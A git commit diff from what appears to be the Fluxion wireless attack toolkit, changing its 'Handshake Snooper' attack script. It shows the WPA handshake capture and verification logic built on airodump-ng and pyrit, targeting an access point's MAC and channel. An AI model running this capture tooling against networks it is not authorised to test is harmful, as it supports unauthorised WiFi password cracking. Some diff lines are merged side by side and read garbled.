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Minor improvements to Handshake Snooper.

This commit is contained in:
Matias Barcenas 2017-11-28 22:46:00 -06:00
parent 31a2f5bce9
commit 29cd8c3186
1 changed files with 27 additions and 18 deletions
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45
attacks/Handshake Snooper/attack.sh
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@ -8,32 +8,46 @@ HandshakeSnooperState="Not Ready"
function handshake_verifier_daemon() { function handshake_verifier_daemon() {
if [ ${#@} -lt 5 ]; then return 1; fi if [ ${#@} -lt 5 ]; then return 1; fi
handshakeVerifierState="running" local handshakeVerifierState="running"
function handle_verifier_abort() { function handle_verifier_abort() {
handshakeVerifierState="aborted" handshakeVerifierState="aborted"
if [ "$handshakeVerifierXtermPID" ]; then kill $handshakeVerifierXtermPID; fi
} }
trap handle_verifier_abort SIGABRT trap handle_verifier_abort SIGABRT
source lib/HashUtils.sh source lib/HashUtils.sh
touch $FLUXIONWorkspacePath/result.txt source lib/ColorUtils.sh
echo "Looking for handshake:" > $FLUXIONWorkspacePath/result.txt
echo "" >> $FLUXIONWorkspacePath/result.txt
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#FF0000" -title "UI for handshake" -e "while (true);do clear;cat $FLUXIONWorkspacePath/result.txt; sleep 1;done" & echo "Waiting for handshake data." > $FLUXIONWorkspacePath/result.txt
echo "" >> $FLUXIONWorkspacePath/result.txt
local handshakeCheckResult=1 # Assume invalid # Display some feedback to the user to assure verifier is working.
xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" -title "Handshake Snooper Verifier" -e "while (true); do clear; cat $FLUXIONWorkspacePath/result.txt; sleep 3; done" &
local handshakeVerifierXtermPID=$!
local handshakeCheckResult=1 # Assume invalid initially
while [ $handshakeCheckResult -ne 0 -a "$handshakeVerifierState" = "running" ]; do while [ $handshakeCheckResult -ne 0 -a "$handshakeVerifierState" = "running" ]; do
echo "[$(date '+%H:%M:%S')] Waiting for valid hash..." >> $FLUXIONWorkspacePath/result.txt
sleep 3 sleep 3
pyrit -r "$4" -o "${4/.cap/-clean.cap}" stripLive pyrit -r "$4" -o "${4/.cap/-clean.cap}" stripLive
hash_check_handshake "$3" "${4/.cap/-clean.cap}" "${@:5:2}" hash_check_handshake "$3" "${4/.cap/-clean.cap}" "${@:5:2}"
handshakeCheckResult=$? handshakeCheckResult=$?
echo -n "." >> $FLUXIONWorkspacePath/result.txt
done done
echo "" > $FLUXIONWorkspacePath/result.txt
#sleep 5 && kill $handshakeVerifierXtermPID &
# If handshake didn't pass verification, it was aborted. # If handshake didn't pass verification, it was aborted.
if [ $handshakeCheckResult -ne 0 ]; then return 1; fi if [ $handshakeCheckResult -ne 0 ]; then
echo -e "${CRed}Error${CClr}: No valid handshake found." >> $FLUXIONWorkspacePath/result.txt
return 1
else
echo -e "${CGrn}Success${CClr}: A valid handshake was found!" >> $FLUXIONWorkspacePath/result.txt
fi
# Assure we've got a directory to store hashes into. # Assure we've got a directory to store hashes into.
local hashDirectory=$(dirname "$2") local hashDirectory=$(dirname "$2")
@ -41,11 +55,6 @@ function handshake_verifier_daemon() {
mkdir -p "$hashDirectory" mkdir -p "$hashDirectory"
fi fi
# Custom print for ui
echo "+" >> $FLUXIONWorkspacePath/result.txt
echo "" >> $FLUXIONWorkspacePath/result.txt
echo "Handshake was found !" >> $FLUXIONWorkspacePath/result.txt
# Move handshake to storage if one was acquired. # Move handshake to storage if one was acquired.
mv "${4/.cap/-clean.cap}" "$2" mv "${4/.cap/-clean.cap}" "$2"
@ -56,7 +65,6 @@ function handshake_verifier_daemon() {
function handshake_stop_verifier() { function handshake_stop_verifier() {
if [ "$HANDSHAKEVerifierPID" ]; then if [ "$HANDSHAKEVerifierPID" ]; then
kill -s SIGABRT $HANDSHAKEVerifierPID &> $FLUXIONOutputDevice kill -s SIGABRT $HANDSHAKEVerifierPID &> $FLUXIONOutputDevice
killall xterm
fi fi
HANDSHAKEVerifierPID="" HANDSHAKEVerifierPID=""
@ -114,15 +122,16 @@ function handshake_start_captor() {
xterm -hold -title "Handshake Captor (CH $APTargetChannel)" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e \ xterm -hold -title "Handshake Captor (CH $APTargetChannel)" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e \
airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor & airodump-ng --ignore-negative-one -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
HANDSHAKECaptorPID=$! # Target the xterm, since we won't need to keep it around.
echo -e "$FLUXIONVLine Captor process is starting, please wait..." echo -e "$FLUXIONVLine Captor process is starting, please wait..."
while [ ! "$HANDSHAKECaptorPID" ]; do #while [ ! "$HANDSHAKECaptorPID" ]; do
# Here, we'll wait for the airodump-ng PID, since we want to leave the xterm open. # Here, we'll wait for the airodump-ng PID, since we want to leave the xterm open.
# This is because we need to have a method of notifying the user the hash is captured. # This is because we need to have a method of notifying the user the hash is captured.
# Once the hash is captured, we can terminate the captor and the xterm will freeze. # Once the hash is captured, we can terminate the captor and the xterm will freeze.
HANDSHAKECaptorPID=$(ps a | awk '$5~/^airodump-ng/ && $8~/'"$APTargetMAC"'/{print $1}') # HANDSHAKECaptorPID=$(ps a | awk '$5~/^airodump-ng/ && $8~/'"$APTargetMAC"'/{print $1}')
sleep 1 # sleep 1
done #done
} }
function handshake_unset_method() { function handshake_unset_method() {